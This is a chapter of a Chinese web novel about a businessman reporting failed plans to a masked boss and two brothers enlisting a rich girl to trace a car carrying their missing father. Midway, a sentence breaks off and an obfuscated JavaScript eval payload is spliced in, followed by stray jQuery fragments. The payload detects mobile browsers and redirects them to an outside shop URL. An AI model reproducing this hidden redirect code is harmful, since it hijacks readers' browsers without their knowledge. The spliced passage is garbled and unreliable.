49. 第49章 徐云珏

作品:《神祇模拟器[GB]

    一个穿着西装的男人手里握着两枚淡黄色的棋子,他把玩着这两枚棋子,看起来漫无目的,又像是在思索着什么。


    这两枚棋子在他宽大的手掌心中显得那么渺小、脆弱不堪,轻轻一捏,那两枚棋子就会变成碎渣。


    男人的脸上露出讥讽的表情,他的手轻轻一松,那两枚棋子像是毫无生命的玩具,从他的指缝当中掉了下去。


    啪嗒,啪嗒。


    两枚棋子摔在了地上,玻璃制成的棋子被摔得粉碎。


    一阵敲门声响起。


    男人的声音缓缓响起:“进。”


    朱助理踩着高跟鞋,抱着文件走了进来。她扶了扶眼镜,黑框眼镜下的目光深邃幽暗:“徐总,下周飞机是两点半,团队会跟您一起去京市。”


    “知道了。”


    朱助理感觉到老板的心情似乎很不好,她有些不明所以,但她知道此刻不能去触老板的眉头。事情说完之后,便赶紧退了出去。


    男人身后的屏幕上突然闪过一个画面,画面里坐着一个男人。那个男人看起来四十多岁,文质彬彬的样子,穿着一件很有质感的西装,只是戴了一个让人分辨不出模样的面罩,充满了神秘感。


    画面里的男人看着大屏幕,缓缓说道:“云珏,好久不见。”


    徐云珏垂下的眸子里闪过一丝慌乱,他立刻调整好表情,转过身来,带着职业微笑看向屏幕里的男人。


    “老板。”


    被徐云珏称作老板的男人发出一声轻笑:“你还知道我是你的老板?如果不是我这次主动联系你,你恐怕这辈子都不会找我了吧。”


    徐云珏讪笑着说:“老板您说哪的话,我正打算下周就去京市找您,向您汇报我最近的工作情况。”


    “哦?我看是要过来开演唱会,顺便向我汇报吧。”


    徐云珏的心思被男人猜得透透的,他不由得惊出一身冷汗,但多年来的磨练让他早已做到不形于色。他依旧是那副毕恭毕敬的模样:“老板,最近确实太忙了,没能跟您联系,是我的错,请您谅解。不过下周我一定会第一时间来向您汇报,您大可放心。”


    男人对他的话并不满意:“为什么还要等到下周汇报?我要你现在就说!芜市那边的情况到底怎么样了?”


    徐云珏额头的冷汗直冒,他可不就是想拖到下周,好好思考一下该怎么回答吗?毕竟全是不好的消息。


    见他迟迟没有说话,男人紧追不舍:“之前你信誓旦旦说的那两枚棋子,情况如何?”


    徐云珏面色惨白,随即缓缓摇了摇头。


    男人冷哼一声,声音从面罩下传出带着一丝沉闷的声响,听得徐云珏心里很是烦闷。


    徐云珏知道事情瞒不住了,只好全盘托出:“那两枚棋子,失败了。”


    听到他的话,男人似乎早就预料到了一般,并没有大发雷霆,气氛陷入了诡异的安静。


    徐云珏手心微微出汗,正当他想说些什么缓和气氛的时候,男人又开口了:“罢了,我手里还有王牌,下周你到了之后,我们再做详细计划。”


    见男人没有讨伐他的意思,徐云珏暗暗松了口气。


    *


    这段时间,灰?总是在做噩梦。他将所有的时间和精力都花在了学习上,一旦松懈下来,脑子里就全是那个噩梦。


    就在几天前,他的预知能力感应到,爸爸被人困在一辆高级轿车的后座上,那辆车疾驰向前,不知道要驶向何方,重要的是那辆车会从他家楼下经过。


    这是他第一次得到关于爸爸的消息,他迫不及待地跑下楼,碰巧那辆黑色的轿车从他面前疾驰而过。


    那辆黑色轿车的窗户遮得严严实实,但他知道,他的爸爸就在里面,就在这辆轿车上。


    他死死记住了那辆车的车牌号,回到家后,动用一切人力去查询这辆车的信息。


    可不管他怎么查,这辆车就像被人故意操控了一般,没有在任何人的名下,也没有任何其他相关信息。


    他的举动似乎引起了张曾柔的注意。


    当天晚上,张曾柔就破天荒地在饭桌上旁敲侧击,询问他今天的动向。


    张曾柔不这样还好,一这样,灰?就更加确定,爸爸的失踪,必定和她有关系。


    他一想到爸爸被这个可恶的女人藏了起来,就气愤不已,恨不得拍桌子站起来,掐断这个女人的脖子。但他知道自己不能这么做,一旦这么做,爸爸的性命可能就会遭受危险。


    他强忍着心里的愤怒,吃完了饭,全程没有露出一点端倪。


    心思敏锐的灰云澄,倒是察觉到了默不作声的哥哥有些不对劲,晚上便溜到了灰?的房间里。


    “哥哥,你是不是发现爸爸在哪里了?”


    灰?被白天的事情扰得睡不着觉,见小澄来找他,烦闷的心情才缓和了许多。他有些惊讶小澄的敏锐:“你是怎么知道的?”


    灰云澄睁着那双单纯的眼睛,里面满是狡黠:“哥哥,你骗得了妈妈,骗不了我呀。小澄可是哥哥的忠实仆人。”


    灰?被小澄逗笑了,他摸了摸小澄圆圆的脑袋瓜,感叹他的懂事。


    灰云澄见哥哥笑了,适时问道:“那哥哥知道爸爸的动向了吗?告诉小澄好不好,小澄好想爸爸。”


    灰?叹了口气,他本想瞒着小澄。这件事牵连太多,又涉及到小澄的亲生母亲,他不想因为这件事,影响他和小澄的关系。


    灰云澄似乎知道哥哥心中所想,他举起三根小手指,对天发誓:“小澄保证不会偏袒妈妈,小澄永远是哥哥的好弟弟、好仆人。”


    “傻瓜,哪学来的‘仆人’‘仆人’,你永远是哥哥的好小澄。”


    他知道小澄也十分想念爸爸,知道实在瞒不住了,便把自己的预知和那辆黑色轿车的事情,一五一十地告诉了小澄。


    得知爸爸的消息,灰云澄又高兴又激动。


    灰?提醒道:“小澄,这件事千万别告诉你妈妈,知道吗?”


    灰云澄郑重其事地点了点头:“哥哥,你放心,小澄明白的。”


    灰?自然知道小澄是站在他这边的,张曾柔或许怎么也想不到,她一直悉心呵护的儿子,竟然会站到另一个女人生下的孩子这边,一起对抗她。


    “但是我没有查到那辆车的具体信息,恐怕张曾柔还是做了手脚。”


    “不如找花花姐姐帮帮忙?她家里不是做安保系统的吗?说不定能查到。”


    灰?思索片刻,觉得有道理。不管郁花花能不能帮上忙,至少希望没有全部破灭。


    郁花花正在指挥着保姆收拾回学校的行李,忽然听到手机铃声响起。一看来电显示,居然是许久没有消息的灰?。


    她挑了挑眉,最近她沉迷于徐云珏的下一场演唱会,而演唱会的时间刚好和她回学校的时间重合,她打算先去京市偷偷听完演唱会,再回学校


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233054|197207||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    她走到卧室套房里的小花园,躺在椅子上,才接起了电话。


    “喂?干嘛?想我了?”郁花花的声音带着戏谑。


    灰?等了许久都没人接电话,还以为她不会接了,就在他快要放弃的时候,电话突然接通,传来的却是郁花花调戏他的话,他顿时有些窝火。


    但现在有求于人,他还是压下了心里的急躁,好声好气地说:“我想请你帮我个忙。”


    “哟,灰大少爷还要我帮忙?真是太阳打西边出来了。”郁花花咬着苹果,嘴里发出清脆的咀嚼声。


    灰?从没觉得自己的脾气像今天这么窝囊过,但他还是一遍遍告诫自己,别和她一般见识。


    “咳咳,郁大小姐神通广大,我自然是比不上你。”


    郁花花挑了挑眉,灰?居然有这么低声下气的时候,她倒是有些好奇,他到底有什么事求自己。


    “说吧,什么事。”


    灰?见她没有拒绝的意思,便把自己查询黑色轿车、寻找爸爸的想法,一五一十地告诉了她。


    电话那头传来一阵沉默。


    灰?以为郁花花不想帮忙,连忙说道:“没事,你不想帮也……”


    “你怎么现在才说?!”


    郁花花猛地拔高了音量,震得窗外树上的鸟儿扑腾着翅膀,四处乱飞。


    鸟儿们一边飞,一边发出叽叽喳喳的啼叫,隐约能听到几句细碎的抱怨。


    “小姐又乱发脾气了,脾气真差!”


    “可别抱怨了,她还喂我们吃饭呢,再说了,她听得懂我们说话。”


    “切,我刚刚正在拉屎,屎都被她吓得掉下去了。”


    “啊?我看她刚刚就在树底下呢……”


    郁花花听到这两只鸟的对话,暗道不妙。她一抬头,果然有一团新鲜的鸟粪,吧嗒一声落在了她的额头上。


    她气得脸都红了。


    “啊!!!!”


    灰?吓得手一抖,还以为是自己的问题,连忙说道:“不用了不用了,我再找别人……”


    他刚想挂电话,郁花花的声音就从电话里传来,带着怒火。


    “你敢挂我电话试试?!”


    灰?瑟缩了一下,紧紧握住手机,心虚地说:“没,我没有打算挂电话。你怎么了?”


    三个保姆忙前忙后地帮郁花花清理额头上的鸟粪,一番折腾之后,他们的大小姐才渐渐平复了心情。


    郁花花对着镜子照了一会儿,又摸了摸额头,确认那种黏腻的感觉已经消失了,心情才舒服了许多。她瞥了一眼还在通话中的手机,缓缓开口。


    “没什么,刚刚有脏东西落在我脸上了。那只臭鸟,要是再敢出现在我面前,看我不活剥了它,烤来吃!”郁花花的心情还有些郁闷,正需要有人来哄一哄。


    灰?大概猜到了是什么状况,肯定是有什么东西惹郁花花不高兴了。结合着刚刚电话里的骚乱,还有下人们的动静,他试探着说道:“那脏东西,不会是鸟粪吧?”


    郁花花极不情愿地“嗯”了一声。


    “那你可走大运了,这不得去买张彩票?说不定就能中一千万呢。”


    她原本以为灰?会嘲笑她,没曾想灰?居然说出了这样一句话。她忍不住噗嗤一声笑了出来:“我郁花花像是差那点钱的人吗?”


    心情瞬间大好的郁花花,爽快说道:“你刚刚说的事,我帮定你了。”